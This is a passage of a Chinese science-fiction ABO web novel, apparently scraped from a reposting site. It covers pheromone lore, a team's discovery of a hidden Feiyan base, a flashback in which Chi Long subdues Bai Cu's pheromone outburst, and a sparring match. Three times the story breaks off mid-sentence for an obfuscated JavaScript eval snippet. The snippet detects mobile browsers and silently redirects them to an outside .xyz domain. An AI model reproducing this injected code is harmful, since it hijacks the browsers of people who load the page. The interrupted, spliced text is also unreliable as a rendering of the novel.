“比如:它本体是从心脏中演化而来,却不具备心脏作为‘动力泵’一样的功能,仅用于繁衍。却和心脏一样,如果受到严重破坏,会直接致人死亡,致使它反而更像新人类的生命拖油瓶,” “同样,作为认知中,外置的脆弱器官,它衍生的信息素是其相辅相成的最佳助手。首先,为直接扒开后颈观察性别提供了更加文明的方式,也省去了古星繁育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024548|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式的繁琐和随机,alpha可以通过上下两处强势打开omega的生殖腔,通过腺体繁育时,信息素交融状态下能实现快速繁育。”顿了顿,林息又随意补充道,“另外还有一些被开发出的、不常见的某些作用,像引导素、诱导素等。” 池泷闻言,连连点头,一副认真学习的模样。 心下稍安,林息继续科普:“况且这几年的研究发现,不同个体的信息素‘味道’皆不相同,哪怕是家人,信息素因为遗传再过相近,也有不同之处。” “也就是说,哪怕信息素大类都是青草香,香味浓度、持久度等方面还是存在不太细微的差别。因此,可以说,信息素是新人类作为‘自我’的重要标志。” “当然,对于腺体,有人称其为‘新人类的进化失败的标志’‘,或者是‘人类繁衍的求救信号’。”林息继续解释,声音娓娓动听,。 “虽然通过有限的史料表明,新人类比古星人拥有更强壮的体魄、更敏捷的反应能力,但相对于古星人大多数易损器官会受到骨骼支撑和皮肉保护,新人类却将腺体这一柔软脆弱、本应隐秘的器官,大喇喇地暴露出来,使得个人生命更加容易受到威胁,这或许就是进化失败的表现。” “同时,相对于被衣物□□包裹住的原始生殖器官,位于后颈处的它更加张扬地彰显着性别,相当于一直提示周边不同性别的人‘快来□□’,这或许反映着人类自然进化过程中对于自身族群繁衍的巨大担忧,是一种隐晦的‘求救信号’,因此哪怕腺体很容易就成为威胁生命安全的攻击目标,个人生命的安全也只能排在群体延续的后面。” “所以,无论从哪方面来看,腺体都是新人类的重要器官,其衍生的信息素也因此具备了重要地位。”总结完毕,林息看向池泷。 果不其然,她的表情严肃起来,进而缓缓开口:“你说这些的意思是,小溪没有性别,就相当于失去了腺体,按理说,他很难活着。” 想起乔城的那群老人,池泷对这一存在,突然有了更深刻的认识。 “嗯,不否认或许存在特殊情况,某些人具备半颗心脏或不具备腺体也能活着,可几率很小。”林息再起瞥了一眼池泷,她看起来只是神色沉重。 “因此我那天忍不住测试了一下,结果就是这个孩子的腺体能勉强观察到,却貌似失去了功能,所以他的身体才会那样差劲。”想起李小溪,林息心中也同样沉重。 其实他并没有多在乎这个孩子,接触他也仅仅是怀疑自己调查的东西可能跟他有关,可这个孩子却偏偏和池泷的圈子发生了交集。 “他不安状态下,偷偷说出的医院和医生,应该就是帮他治疗的地点和人物,却恰好是有这个奇怪医疗项目的医院,恰好又是和吴天语相关的医院,而儿科并没有那位医生的名字,那位曹医生又刚好提示了信息素。”林息总结道,“所有的巧合汇聚在一起。” 听见这话的池泷伸手揉揉眉心,她盯着那台报废的星视,不知道在想些什么,墨黑的眼眸沉沉,让人分辨不出其中的情绪。 “不知道是不是错觉,我总觉得医院这件事不仅仅只与吴天语有关。”良久,她说了这样一句话。 一时间两人都陷入了沉默。 他们心中清楚,世界上哪有那样多的巧合呢? 很可能,李小溪就是路人口中那些“实验品”之一,这个医疗项目或许以前作为一个保密项目,偷偷采用了人体实验。 这种违背伦理的事情,不能被大肆宣扬,却抵不过早晚包不住火。 甚至说不定在人们看不见的地方,也作为一种临床效果有保障的营销手段。 “唉……”心中复杂得很,池泷默默祈祷,希望李青一家离吴天语这个“漩涡口”远一些,不要牵连进这种事情里。 此时光脑突然亮起,池泷赶忙看了一眼,果然是尹霄他们的来讯,上面只有奇怪的几个字:“zd,sg。” 转过身去,刚好林息也在看光脑,见池泷转过身来,他先说了一句:“他们找到东西了?” 闻言池泷一愣,随即看了眼讯息,不知道何时,尹霄把四人拉入了同一个通讯组,这条讯息是组内通讯。 “嗯,对的。”来不及想通哪里让她觉得奇怪,池泷下意识先接了一句。 “那走吧。”说完林息就准备离开,池泷跟上去。 关门的那一刻,她突然意识到:尹霄讯息的文字缩写是“找到、速归”的意思,这是小队为了简单通讯,而设计的战术常用语,以前只有他们三个使用。 不过倒也不是什么独用语,仅仅是开头缩写而已。 但——林息是怎么知道的呢? 偷瞥了一眼身边人安静又深不可测的样子,池泷不自觉地想“以他的经历和聪明才智,一眼猜出倒也说得过去”。 但她不知道的是,林息这边,心中更加稀奇。 除了发现池泷身上确实有些和大多数人不同的思想观念之外,更让他纳罕的是,明明自己特意在她面前露出了破绽,而她对此也应该察觉到了,可她眼中的疑虑只是一闪而过,好像这个问题并未造成任何的困扰和怀疑。 她对自己,到底是从哪里来的、这样坚不可摧的信任? 虽然这是自己想要达成的结果,不费任何力气就达到了,可他的心里抑制不住地产生了难以置信的荒唐感。 这世界上竟然真的会有人对陌生人产生如此沉重的信赖吗? 39.第 39 章 回去酒店的路上,林息一直在思考这个问题。 而池泷看他又是一副若有所思的深沉样子,便也一直没打扰。 于是两人谁也没说一句话,这份沉默一直到两人到达尹霄房间后才被打破。 “你们谁也想不到,我们发现了什么。”看到两人,尹霄手指未停,不断在虚拟键盘上敲击,一个接一个花里胡哨、池泷看不懂的显示界面出现,几乎充斥了整个房间。 “果然是飞燕?”林息走上前,伸出手点了几个屏幕界面,又是一堆各种代码的小型屏幕出现,“花坛地下?” “没错,会长。我们要立大功了!”虽然被屏幕挡住了大半,但尹霄兴奋的声音清晰地穿透而来。 技能树科技一栏没有任何加点的池泷选择走到一边,和半低着头的白簇坐在一起。 赤红长发随着头低下,遮了半张脸,右手攥着扶手。 池泷看见,她大拇指的纯黑指甲染色上,有一处小小的缺口。 头发半湿,明显刚沐浴过。 哪怕自己在白簇身边落座,她也依旧保持着那样的姿势一动不动。 沉吟了一会儿,池泷倒是能想象出,是什么让这位几乎战无不胜的女alpha如此颓唐愤懑。 “看起来是个不小的基地。”池泷似乎在自言自语,果然破损处的甲面更白了几分,“信号切断了?” 等了好一会儿,才听见闷闷的一声“嗯”。 “噗,你是真的爱挑战高难度啊,老白。”人在无奈的时候总是容易发笑,池泷右手扶额,知道白簇这毛病也不是一天两天了,这几年还好了不少呢。 “这次尹霄没在身边,对方人又多,一个人能全身而退,真是神佛保佑。” “不足三分之一。”可能知道自己做错了事,白簇的头一直低着,前额已经干透的碎发也没有像往常一样支棱着。 白簇的意思是说:只探索到基地的不足1/3。 “按照计划,也没让你自行进去。”一把薅过乱糟糟的赤色脑袋,池泷右手狠狠揉了揉,“说听队长话,也就说说,关键时候还是我行我素。” 看着胳肢窝底下更加繁乱的毛球,她又伸出手指给顺了顺,“别的地方没事吧?” “没。”被勒的人只能艰难地发出气音,却仍旧想说些什么,“对不……” “我一个人,怕是门也进不去。”把人放开,池泷倒在沙发上,双手垫在脑后,“但我们四个人各有所长,说不定就能进了,只不过还是得千万小心,这点你深有体会的吧。” “是。”白簇终于抬起头,眉间还有浅浅的竖痕,这是池泷十分不愿见到的。 其实池泷并不像尹霄那样,详细了解白簇的经历,甚至可以说,尹霄或许也无法知道全部。 可以武力起家的白家,能把这人作为新世代最锋利的刀,让她小小年纪就在央星圈子里被称为“暴烈疯子”,白簇的人格缺陷也是显而易见的。 过刚易折。 虽然她年级尚小时,遇见尹霄。尹家用了一些不为人知的手段,强行留下了这个孩子,没有让她在未成年的时候就付出难以承受的代价。 但后来通过尹霄的叙述,池泷也知道尹家为了白簇,也曾经四处求医问药。 总之,白簇后续又遭受了各种难以承受的治疗,甚至包括腺体信息素手术,才能勉强恢复到现在的样子。 再后来,只知道伤人的疯子、像alpha的omega、脑袋有问题的乡下人,他们成了一个小队,经历了乱七八糟的事,现在,又多了一个星联公敌。 在这个满是正常人的世界里,少数群体还是得报团取暖才稳妥一些。 “毕竟是飞燕啊……”耳旁仿佛又传来响亮的雨落声,池泷也难耐地皱眉,随即又强制自己展开,“我们是……” “一个队伍。”赤色眼眸望过来,那片红色海洋深处一片清澈坦荡,池泷恨铁不成钢地曲起手指,弹了她脑门儿一下。 这事儿就这么过去了。 收回余光的林息好奇问道:“你是故意让池泷过去的?白簇为什么这么听池泷的话?” “原来也有会长你不知道的事,”尹霄开玩笑地说道,看到林息轻轻挑眉,他目光在沙发上的两人那里转了一圈儿,然后轻声说,“池姐救过阿簇的命。” 果然林息眉头轻跳,眼圈微睁,这种细微的震惊表情似乎取悦了尹霄,他嘴角轻弯,“阿簇大一的时候,有次在宿舍发病……” 他看向林息,果然会长脸上并没什么别的表情。 毕竟阿簇至今的经历对央星更上层的世家来说,并不是什么秘密。 “幸好那时放假,宿舍没有什么人,只惊动了学校的高层,听到这个消息,据说在控制无果后,也就是三分钟内,就准备采用‘必要手段’来遏制‘可以预见’的严重破坏。” 尽管尹霄语气平缓,但林息不用看也知道,他此刻的眼眸深处应该没有任何轻松。 但这件事确实被压得很死,恐怕尹霄也有些不知情的内幕。 “确实,”林息开口,声音冷静,“陛下不好插手军校的事,而那时军部长带领副部长和校长,正在月轨2线的天然星出席重要场合,一时间能做主的人都联系不上。” “当时白簇入学跟军部长和学校有过协定,一旦发生紧急事件,学校将自主承担一切责任,无奈当时只能判定为‘高度警戒’,准备引入军队。” 林息回忆着报告里的内容,却想不起哪里有提过池泷。 “我理解,作为家人,我应该承担主要责任。”尹霄对当时学校的行动并未埋怨过,他更多地是埋怨自己关键时候不在白簇身边。 “那时因为要处理一些阿簇不方便出面的事,我和父亲都不在央星。” 尹霄叹了口气:“虽然临走前,父亲安排了信任的人专门专场照顾,可阿簇不喜欢被人看管,就偷偷跑了出去。” 哪怕事情过去了两年,再次提及时,湛蓝眼睛里仍旧装满心疼:“尽管受了那么多罪,可她也仍旧很乖,吃了药才走的。正在吃的药效果很好,连秦医生都说,可以适当单人出行。” “谁知道她会跑回学校,不知道发生了什么,连阿簇也记不起来了。” 白嫩的食指扣住拇指的指甲盖,轻轻敲了两下。 “她原本控制得很好的病情突然爆发,信息素漫延了整个宿舍。警铃大作,学校出面,但监控只能看见阿簇进入了宿舍没有离开,剩下的一律不知情。” 湛蓝眼眸闪过一丝沉痛,尹霄不敢想象这件事最坏的后果。 “所幸在弥漫整个校园时,池姐控制住了她。”说到这,尹霄眼中温存笑意,嘴角却向下弯着。 “到最后,两人都是被抬出来的,阿簇还好,池姐被揍得血肉模糊,在医院修养了四个多月。据说昏迷前还说了一句‘别告诉家长’才安心赴医,要不差点惊动擎叔。” 说起这段经历,尹霄想起池泷坐在贵宾医疗室的治疗仓里、像僵尸一样挥手表示没事的样子还想笑:“我们去看望,你知道吗?她那时都僵得不成样子,竟然还有心情问住院一天多少钱,听到价格后一脸震惊,随即庆幸地表示幸好不用自己负担,还问我们能不能点个果盘儿。” 但心头的负罪感,随着这句话,也变得好接受了很多。 尹霄永远感叹于池泷的温柔:“阿簇从此也很信服她,后来我问阿簇那天为什么要回学校,她说,因为听别人谈论有一个怪胎,假期打工似乎住宿舍不回家,或许可以加入我们的小队,也是缘分吧,没想到,到最后反而成了我们加入她的小队。” “说是加入啦,其实是阿簇非要池姐当队长的,她说一定听话。” 尹霄想起两人一个无奈一个坚持的拉扯,脸上是一种自己似乎也没察觉的幸福。 “但具体是怎么阻止的,池姐跟学校说的是,阿簇刚吃完药,药效正起正好,加上宿舍换气设备不错,因此拼尽全力奉献肉身,给她打累就行了。” “学校也是这么写的,后续怎么润色,就是他们该考虑的事了。我们承担了所有的损失,在开学前让一切恢复如新,值班的高层不想让这件事捅到校长和军部那边,而池姐——” 尹霄看向林息,而琥珀眼眸也不避不让。 “既然她想低调,我们自然为了救命恩人,也不能让这件事捅到军部长那边。” 林息明白尹霄的意思,尽管尹家在央星不算大户,可尹默做事机灵圆滑,不得罪人,又有原则,不会为了谁的面子轻易妥协,基本处于中立。 对于王室和军部来说,都是不需也没法拉拢、却也不用担心背刺的定位。 可白簇不一样。 白家是典型的王室一派,白簇的战力,能引起王室和军部的高度关注。 两方都想拉拢,拉拢不成就算毁掉,也不能让她落入对方手里,这也是为什么就算她现在基本算是半个“尹家人”,也依旧被提防和监控的原因。 而林家的历史,细说起来,甚至比王室还要悠久。 古老家族众多,只有林氏一脉以无人知晓的方式躲过了人类的浩劫,几乎以完整的姿态流传至今,它无需依附于谁,明面上又是“公敌”的定位。 同时因为三殿下的关系,靠不着军部,可在央星也算不得王室一派,更算不上中立。 不上不下不左不右不中,似乎哪哪都不对,但没人敢随便轻视,就算现在林家在林凌杉的手里大不如前,甚至有想参与王室继承竞争的苗头,但瘦死的骆驼比马大,谁能去赌一个神秘家族的底牌呢? 现在,尹霄无疑又交了一个把柄到林息手上,他似乎仍旧在试探,试探池泷在林息这里的地位。 首先,在听尹霄讲述这件事之前,林息知道的,和王室及军部知道的一样,都是那篇军校上报的润色报告——“药物发挥了至关重要作用,军队只接到作战准备却并未实际动员,白簇逐渐变得可控”。 这个报告让这件事变成了对双方来说的“喜事”,因此他们出手截断了所有舆论。 而军校的人,本质都应该是军部长的亲信,怎么会轻易害怕承担责任? 王室也难以插手的地方,尹家却能把这件事压下,连池泷的名字也被藏了起来。 也就是说,尹家其实在央星的关系,或许比看起来更加错综繁复。 其次,这件事一旦被自己捅给王室或者军部,不仅尹家的“实力”或许会引起两方的重新考量,连池泷的实力也会不再低调。 能阻止连军部都严阵以待的人,池泷的真实实力到底是什么样的? 这必然又会引起各方的试探,不论是池泷还是自己,都不想将她暴露在人前。 因此,他才说,尹霄在试探,试探自己为了池泷,会把这件事烂在肚子里。 林息歪歪头,那双湛蓝眼眸坚定清亮、不偏不倚。 好吧,他赌对了。 不过自己也从未想过,要在两人面前,隐藏自己对池泷的“在乎”。 他还是喜欢尹霄这样的聪明人的。 作为回报—— “发病不是巧合,”林息手指在屏幕上敲下一行字,闪动的光影烙刻在尹霄的眼中。 “飞燕有一种药,可以引起信息素躁动,他们经常用这个制造骚乱。或许是他们也想带走白簇,但做什么就不得而知了。” 毕竟军校按理说应该是密不透风的,其余势力相互掣肘的情况下,谁动白簇都是胆大包天。 作为第三方的飞燕想横插一脚,可以理解,但是谁让飞燕进来的呢? 咬紧牙根,尹霄冷笑了一声,那嫌疑人可太多了。 尹家一直在偷偷调查当年的事,可查到的线索,不是提前被人抹掉、就是错的,家里甚至没有任何头绪,原来罪魁祸首是飞燕。 其实很多人都知道,央星各处都有飞燕在明在暗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024549|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内应,但王室和军部都难以逐一排查拔起,恐怕林息也不清楚名单。 但至少飞燕是板上钉钉的仇人,而且照这种说法,飞燕也早已盯上白簇。 写在星网上的字,就如同林息的亲笔签名,轻易抹不掉。 随即他向林息点了点头,表示了感谢。 同时他也清楚,这也是林息对自己的回应:“我们交换了彼此的秘密,以后就会像好兄弟那样彼此守护了”。 他就知道!池姐说会长是个好人不会错的! 坐在旁边听了全程的两个alpha,虽然默契地决定,尊重两位omega之间的谈话不插嘴。 可她们不太理解,为什么说完当年的事,这两人的关系看起来更近了一点? “果然同性别之间有异性不懂的交流方式。”两人对视了一眼,认可了这一结论。 等待终归是无趣的。 于是白簇拿出一台便携式决斗模拟器,准备和池泷一起打发时间。 这台机器是前几天白家刚送的、央星最新款的游戏机,使用者只要在太阳穴处放置一个大脑信号连接器,就能使用游戏机的虚拟平台,选择已经定好的人物角色进行切磋决斗。 角色除了外表可以随意设定之外,身体数值也能勉强符合使用者的实际情况,而且平台的情景设置和现实中的情景,从硬度到场景,基本都是一比一还原。 算是一种可以实现切磋、又不会伤及身体的游戏方式,在beta和某些omega之间似乎广受欢迎。 当然白家送来的这款,更加精校了人物数值,精细了情景设置,并且在送来之后,尹家对其进行了极为严密的调查改造,去除了某些藏匿极深的、用于信息收集和传输的程序之后,才拿给白簇。 建立了私密房间,进行两人对打。 池泷选择了系统默认的形象,看着胳膊上的汗毛都做得如同真实,她再次感慨人类的创造力。 接着左耳听见后方轻微的破空声。 来不及叹气,池泷直接半身仰倒,双手撑地,躲过这声势极小、实力巨大的一拳。 紧接着双腿借力撑起,逼得对方后退闪躲的同时,迅速拉开距离。 “不学好,跟谁学的隐藏攻势、不讲武德。”摇摇头,池泷一脸不赞同。 看着白簇好整以暇地指指自己,池泷震惊,自己平日里,竟然是这种形象? 身影瞬闪而来,池泷快速躲避着白簇已经看不见拳影的攻势,同时单手托腮,双脚只在半径一米的范围内灵活变动,脑中却仍旧百思不得其解:“什么时候给老白树立了这样的不良形象的?难道是训练场切磋的那次?” 是的,两人经常私下背人偷偷切磋,因为池泷不想太高调,也不想暴露实力。 毕竟,自己的一切能力,都是那样奇怪地、相对大多数人来说、轻易得来的。 下一秒她右手成掌,顺力拨开距离左耳只有两公分的重拳,觉察不对的白簇尚且来不及收敛,手腕瞬间被握住,池泷背身,双腿分开比肩稍宽,膝盖弯曲,重心微定。 白簇紧接着做好防御准备的下一瞬间,就被掀翻过去,背部落地。 在和学校训练场几乎一比一还原的场景里,内脏却不觉震痛,眼神中央只映出来一张墨发乌眸的、想通了的脸。 这是池泷收了力的结果,不然此刻白簇绝对不会好受。 “这种行为用于切磋不太好,但对敌确实不错,没想到老白你竟然也开始学着阴人了。” 耳边传来真心的夸赞,带着不掩盖的欢欣,白簇迅速收紧腰腹,从地上跃起,假装继续出拳。 但实则池泷脸前,出现了一条修长的大腿,绷紧的肌肉带着不可抗拒的力量,牵起的破风让脸颊处传来一丝生疼。 “孩子长大了,连声东击西都会了。” 此时池泷满心欣慰,身体以不可思议的速度向侧边扭去,几近地面时,左手撑地,双腿又以常人难以企及的角度攻向白簇下盘。 “嗷!”果不其然,池泷发自内心地哀嚎了一声,双眼差点憋出泪花。 “我就说你的腿是M101星钢做的吧,这种硬度,怕是王室军的攻甲炮打上去,也不会留下痕迹吧!” 这就是两人的不同。 虽然都是alpha,具备天生的健美体态和强劲修复力,但和大多数alpha不同的是,池泷天生身体柔软,哪怕身上肌肉成群,可仍旧能让身体扭曲成各种奇怪的样子,绝对的力气和扯淡的柔韧,以不能被理解的方式结合在了一起,这也是为什么只有她能成为荒星特招生。 而白簇则更加凸显alpha的刚硬坚毅,拳脚永远带着排山倒海的压制性力量和宁折不弯的虎狼之威,更绝的是,钢筋铁骨,自带反甲,伤人不伤己,就算能破其血肉,但难以动摇根本,活脱脱一个高级矛、盾结合体。 于是,一个打不着人,一个打不动人,谁也打不过谁,直接导致白簇愈发乐意找池泷切磋。 而且池泷身上,总是有些白簇没见过的招式。 比如从认识到现在,两人体技切磋,池泷很少出拳,基本以躲闪和腿击为主,躲闪范围也只是从半径半米的范围变成了一米,那样小小的圈子,配合着某种神奇的呼吸法,却总能耍得自己团团转。 她曾经兴致勃勃地询问过,但池泷对她上下打量了一下,竟然说了句:“你要不先从打个八段锦开始呢?” 天知道她连八段锦是什么都不知道。 但她也清楚,自己的身体并不适合池泷那一套。 在找寻八段锦无果后,就放弃了。 转而将目标变成总有一天她要逼池泷出手,结果得知这一情况的池泷,便以“绝不和金圣宫娘娘打”的理由拒绝了她,转而开始机甲切磋。 当然她也不介意,反正都是打架。 然而她最希望的,还是有一天池泷能再次展现她那恐怖的信息素压制。 40.初遇(alpha白簇视角)[番外] 或许除了白簇自己,世界上不会有第二个人知道池泷信息素的事情。 两人第一次遇见时,不知道为什么,自己突然无法压制体内那股蛰伏已久的暴力,信息素快速爆发漫延。 大脑浑浑噩噩间,被人拉进一个地方,她僵直地躺在平地上,四肢立马失去了知觉,外面紧接着传来吵闹的脚步声,如同耳边擂鼓,她只觉得整个人从头到脚都要炸开。 突然一股水汽包裹而来,一开始只是小心地在身边试探,直到旁边有人惊呼“我去!口鼻流血了!?” 那股水汽才化作一根细针,在自己的信息素尚未反应过来时,直直扎进脑中。 疼痛让她瞬间清醒,眼前一片血红,隐约间她只能看到一抹乌黑,但有股关切的目光却能真切地感受到。 没有害怕、没有躲避、没有厌恶。 “醒了没?” 脸颊被拍了拍,理智回笼了一些,但白簇想不起来自己在哪儿、为什么要来这里,她只会下意识回复“跑……” 却没想到身前人反而靠着她坐下了,语气无奈:“外面都是你的信息素,往哪儿跑啊,再不控制,估计你都得判死刑,多年轻的一条生命,啧啧。” 可是她控制不住了,白簇想,她本来六岁那年就该死掉的,可母亲硬是和天作对留下了她。 几近二十年,她清楚自己一直都是一个棘手的麻烦,在好日子要来的时候,又出了这样的事。 可惜,她只是放心不下尹霄和尹家的其他人,还有那位好心的姑姑。 “别闭眼啊喂!白簇,我说,白簇!”耳边的声音越飘越远,太阳穴里似乎有什么尖锐的东西正在破骨而出。 白簇已经分不清灵肉、疼痛的区别,身体仿佛在被一股看不见的力量接管,和六岁那年一样,甚至更加来势汹汹。 而六岁那年,以一直照顾自己的beta男仆落下终身残疾收场。 现在她已经二十多了。 “嘭!”一个巴掌狠狠地甩在了太阳穴上,白簇感觉自己的神思,又被那只呼脸的大手,毫不留情地拉扯了回来。 “呃……”清醒,就是难以忍受的疼痛。 再次睁眼,除了赤红,眼前再无其他。 那个巴掌似乎是幻觉,因为关切的目光消失了。 她勉强听见刚才那个人,站在门口那里,而刚才她坐的地方早已冰凉。 “打一架吧,起来打一架。”对方语气严肃。 明明自己都一脸血了,她似乎还相信自己有跟她打一架的力气。 “我虽然不想跟一个七窍流血的人干架,可你四肢不安分,我怀疑,就是你身上有股不听话的力气闹得。” 是吗?我的四肢还在? 白簇尝试动动手脚,却意外发现有股水汽包裹着她,好在自己也感受到了手脚的存在。 原来我还活着,她想,太阳穴仍旧刺痛,呼之欲出的那个东西,却暗搓搓地躲了回去。 她站起身,还没想明白,刻在肌肉记忆里的杀招,就直接冲着那人招呼过去。 “别伤害她。”白簇听见脑海里响起自己的声音,但大脑却无法控制其他部位。 就在她脑中被绝望瞬间覆盖时,手背传来的感觉却提示她,这一拳,打空了。 那一刻,白簇的眼眶感受到久违的温热。 但应该不是泪,或许流的是血。 因为对面的人中气十足地吆喝:“我去!又淌血了,我的天呐,你不会贫血吗?” 话音刚落,凌厉的攻击又朝她而去。 尽管经常会打空,但偶尔肉肉接触的感觉,也让白簇心中担心非常。 可她本来就不善言辞,此刻更是无法控制嘴巴。 “嗷!”果然,对面传来痛呼,白簇只觉得大脑都紧绷了起来。 但紧接着就是气急败坏的声音:“你的腿是M101星钢做的吗,这种硬度怕是王室军的攻甲炮打上去,也不会留下痕迹吧!” 太好了,她还活着。 白簇心中涌起一股异样的高兴,比得知自己要被尹家带走时,还要高兴。 就这样,一拳一拳的出击,对面总是活蹦乱跳地怪叫着,偶尔睡着还蹦出几句难以理解的话。 “看我千斤坠!” “四两拨千斤!好的,拨不动。” “为中华之崛起而出拳!嗷!” 不知道过了多久,太阳穴的刺痛逐渐消失。 再一次出拳后,白簇意外发现自己夺回了身体的控制权,她赶忙擦了一把脸,终于看清眼前的景象。 碎成渣滓的房间、被打通的墙壁。 和一个血人。 “我说,你也太厉害了,比他们说的都厉害。”那个血人颤巍巍举起一个大拇指,不知道谁的血液将她的甲缝都淹没了。 声音里的赞叹却实打实:“你看起来好了些,不然来扶我一下呢?” 慌忙走过去,白簇伸出手,却迟迟不敢触碰她。 “我没那么脆弱,只是看起来很糟糕。”血人一把抓住白簇的手,虽然不疼,可仍能让她感受到一股大力。 “等会儿人来了,记得跟他们说,别叫我家长。”刚说完,颤颤巍巍站起来的血人就晕了过去。 那这人这么努力站起来的原因是什么? 剩下白簇一个人呆愣原地,她先茫然地看了看四周,然后开始死死盯着怀里的人。 不该是这样的,不该就这样轻易收场。 围绕在身边的水汽散去,世界的声音突然清晰了起来。 触感失去了绝对的领导权,视觉和听觉逐渐占据上风。 白簇发现自己的信息素被死死封在了宿舍楼内。 外面的那一层水汽,虽然以悠然的姿态,围住了无法浇灭的熊熊大火,但那团火焰却深知,如果自己再敢动一下,就会被这股看起来不具有任何攻击性的水汽,直接伸手掐灭。 于是它自己烧得安稳又乖巧,只等着主人醒来。 回过神来的白簇赶紧将信息素控制住,然后下一秒又站在原地,像个失去方向的孩子。 池泷,突然她想起来自己此行的目的,看着难以分辨血色的乌发,她突然认了出来。 这个血人就是自己要找的那位,因为只有她的染发剂好像质量很好,能染出来这样自然的黑色。 她手指搓了搓,太完美的黑色,竟然能保留头发的原始质感,这是市面上所有黑色染发剂都做不到的,白簇想。 没错,市面上其他颜色的染发剂,都能做到保留头发的原始质感。 却唯独黑色不行,这是新人类在美业尚未克服的技术难题。 那时的白簇还没意识到,她竟然一点都不担心怀里的人,仿佛这个人尽管经历过连军队都要严阵以待的阵势,却也绝不会轻易死去,哪怕此刻这人连呼吸都变得微弱。 再后来,他们去医院看望池泷,那时她已经从治疗仓中出来,浑身裹着厚厚的无菌绷带。 自从上次来,尹霄被她三言两语被哄好后,对池泷似乎变得很放心,这让白簇也对眼前的人更加好奇。 在尹霄被支走去办理手续时,池泷绑着绷带的“鼓槌手”合拢,声音笑嘻嘻:“麻烦你保个密。” 白簇歪歪头。 “就是咱俩怎么解决这件事的这个过程……你懂的。”木乃伊一样的人似乎吃准了她会答应这件事,说得嬉皮笑脸。 不过她也确实隐瞒了,她对所有人都说“不记得”。 只是因为她下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更何况,眼前这人似乎和尹霄一样,能读懂自己。 所有人都草率地决定,一旦有坏事发生,都与自己相关。 “我最讨厌背后造谣的人了!”木乃伊激愤了起来,鼓槌手晃了晃,随即又笑了出来,好像想到了什么有趣的事,“你知道额……古星上,关于火的传说吗?” 啊?古星历史学得不是很好的学渣白簇眨了下眼睛。 “历史课上没有,”木乃伊摆摆手,示意她把垃圾桶拿过来,“传说人类就是因为火的诞生才会延续下去,燧人氏钻木取火、普罗米修斯偷火,火焰消灭了病菌、严寒、黑暗。” 看着木乃伊把舔得差不多的苹果扔进垃圾桶,白簇在心里记下了这几个陌生的词汇。 “任何东西的诞生,带来的结果是好是坏,都是使用者决定的,跟物质本身关系不大。” 吃饱喝足的木乃伊满足地依靠在叠起来的三层枕头上:“火也是一样,没有火,我们甚至吃不到羊肉串、烤鸭、烤牛肉!” 说罢,木乃伊的脑袋转动了一下,虽然隔着无菌绷带,不太好捕捉那双黑眸,但白簇就是觉得她在看自己。 一瞬间她福至心灵,点点头表示,这些东西下次尽量给她偷偷带来。 “谢谢。”木乃伊严肃说道。 所以那一大长串儿的“煽情”就是为了烤羊肉串是么,白簇心里对池泷,产生了一种莫名的敬意。 两人同时点了点头,一瞬间,两个alpha之间产生了一种异性不知道的默契。 41.第38章 好在林息和尹霄并未让两人等太久。 在两位技术人员的共同努力下,那张刚刚见过的亚硫城地形图,底下又多了一层空间。 只不过底层图两头过于平滑的截面,说明这个立体地形图并不完全。 这就是白簇口中那个探索“不足三分之一”的飞燕基地了。 因为过去发生的各种事件,为了方便快速确定白簇的位置和周边情况,尹家斥巨资,当然大部分是白家“支持”的,拜托机械师协会,在军部射线研究的基础上,改进出一种可以随身携带的扫描仪。 这种扫描仪,采用的是星联最先进的生物射线扫描技术。 换言之,就是大多数生物在星球上存在,自身会产生一种磁场射线用于分辨他我。 而这种扫描仪正是利用这种仿生技术,假装用于扫描的射线是来自一种没有威胁的生物,伪装的同时也能完成任务。 听上去很熟悉的工作原理。 没错,这种技术就是在尹家毫无保留地“奉献”了白家提供的、尹霄一开始用于扫描地上地形图用的那种扫描技术的基础上,疯狂改进的。 “警报响了。”白簇抿起嘴角,表达着不满。 这确实不是什么令人振奋的消息。 池泷吸了口气,摸摸下巴。 毕竟这种技术可是除了军部及王室以外,星联最先进的一种扫描技术了,结果仍旧被飞燕察觉,并响起警报。 “耀阳θ射线枪、防雾轻纤维作战套装、5秒185仿生人类及微型作战机器人、无机甲。”面无表情地回溯着记忆,白簇说出当时观察到的一切。 闻言,林息挑眉,看向白簇。 “这种武装相关的东西,她可以表达得很好。”池泷向林息解释。 白簇随即也认真地点点头,表示“池泷说得对”。 “和军部一样的东西啊……”咬咬嘴唇,池泷心中暗暗发沉,为什么军部特供的武器装备会出现在飞燕,“以前的报道有说过这一情况吗?” “那倒没有,毕竟以前抓住的飞燕成员很少有活口,超重力压缩按钮那么一摁——boom!”边说尹霄边摇头,想起喷溅的血肉,身体还忍不住打了个寒噤。 “那这可是重大发现,”说这话的林息倒是看起来很平静,或许说,他总是一副淡然的样子,“但是怎么判定是扫描到三分之一的呢?” 